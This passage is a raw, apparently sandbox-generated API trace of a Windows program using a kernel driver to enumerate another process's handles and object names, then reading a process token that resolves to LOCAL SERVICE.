PsAcquireProcessExitSynchronization () returned 0x0 [0068.691] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.691] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0068.691] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.691] PsReleaseProcessExitSynchronization () returned 0x2 [0068.691] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.691] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.691] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0068.691] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.691] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.692] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.692] PsAcquireProcessExitSynchronization () returned 0x0 [0068.692] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.692] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0068.692] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.692] PsReleaseProcessExitSynchronization () returned 0x2 [0068.692] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.692] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.692] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0068.692] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.692] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0068.692] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.692] PsAcquireProcessExitSynchronization () returned 0x0 [0068.692] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.692] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0068.692] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.692] PsReleaseProcessExitSynchronization () returned 0x2 [0068.692] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.692] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.692] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0068.692] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.692] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.692] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.692] PsAcquireProcessExitSynchronization () returned 0x0 [0068.692] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.692] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0068.692] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.692] PsReleaseProcessExitSynchronization () returned 0x2 [0068.692] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.693] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.693] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0068.693] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.693] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.693] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.693] PsAcquireProcessExitSynchronization () returned 0x0 [0068.693] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.693] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0068.693] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.693] PsReleaseProcessExitSynchronization () returned 0x2 [0068.693] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.693] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.693] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0068.693] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.693] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0068.693] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.693] PsAcquireProcessExitSynchronization () returned 0x0 [0068.693] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.693] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0068.693] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.693] PsReleaseProcessExitSynchronization () returned 0x2 [0068.693] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.693] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.693] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0068.693] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.693] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0068.694] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.694] PsAcquireProcessExitSynchronization () returned 0x0 [0068.694] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.694] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0068.694] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.694] PsReleaseProcessExitSynchronization () returned 0x2 [0068.694] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.694] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.694] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0068.694] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.694] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.694] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.694] PsAcquireProcessExitSynchronization () returned 0x0 [0068.694] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.694] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0068.694] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.694] PsReleaseProcessExitSynchronization () returned 0x2 [0068.694] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.694] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.694] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0068.694] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.694] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.694] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.694] PsAcquireProcessExitSynchronization () returned 0x0 [0068.694] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.694] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0068.694] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.694] PsReleaseProcessExitSynchronization () returned 0x2 [0068.694] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.694] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.694] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0068.694] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.695] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.695] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.695] PsAcquireProcessExitSynchronization () returned 0x0 [0068.695] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.695] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0068.695] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.695] PsReleaseProcessExitSynchronization () returned 0x2 [0068.695] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.695] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.695] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0068.695] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.695] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.695] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.695] PsAcquireProcessExitSynchronization () returned 0x0 [0068.695] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.695] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0068.695] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.695] PsReleaseProcessExitSynchronization () returned 0x2 [0068.695] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.695] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.695] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0068.695] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.695] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.695] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.695] PsAcquireProcessExitSynchronization () returned 0x0 [0068.695] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.695] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0068.695] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.695] PsReleaseProcessExitSynchronization () returned 0x2 [0068.696] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.696] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.696] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0068.696] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.696] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.696] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.696] PsAcquireProcessExitSynchronization () returned 0x0 [0068.696] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.696] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.696] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.696] PsReleaseProcessExitSynchronization () returned 0x2 [0068.696] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.696] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.696] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.696] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.696] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.696] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.696] PsAcquireProcessExitSynchronization () returned 0x0 [0068.696] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.696] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.696] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.696] PsReleaseProcessExitSynchronization () returned 0x2 [0068.696] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.696] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.696] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.696] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.696] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.696] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0068.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.696] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0068.696] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000062c) returned 0x0 [0068.697] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x102 [0068.697] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000062c, DesiredAccess=0x8, TokenHandle=0xfffffa800344e240 | out: TokenHandle=0xfffffa800344e240*=0xc8) returned 0x0 [0068.697] ZwClose (Handle=0xffffffff8000062c) returned 0x0 [0068.697] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.697] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.697] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0069.233] CloseHandle (hObject=0xc8) returned 1 [0069.233] CloseHandle (hObject=0xc0) returned 1 [0069.233] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0069.233] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.233] PsAcquireProcessExitSynchronization () returned 0x0 [0069.233] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.233] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, 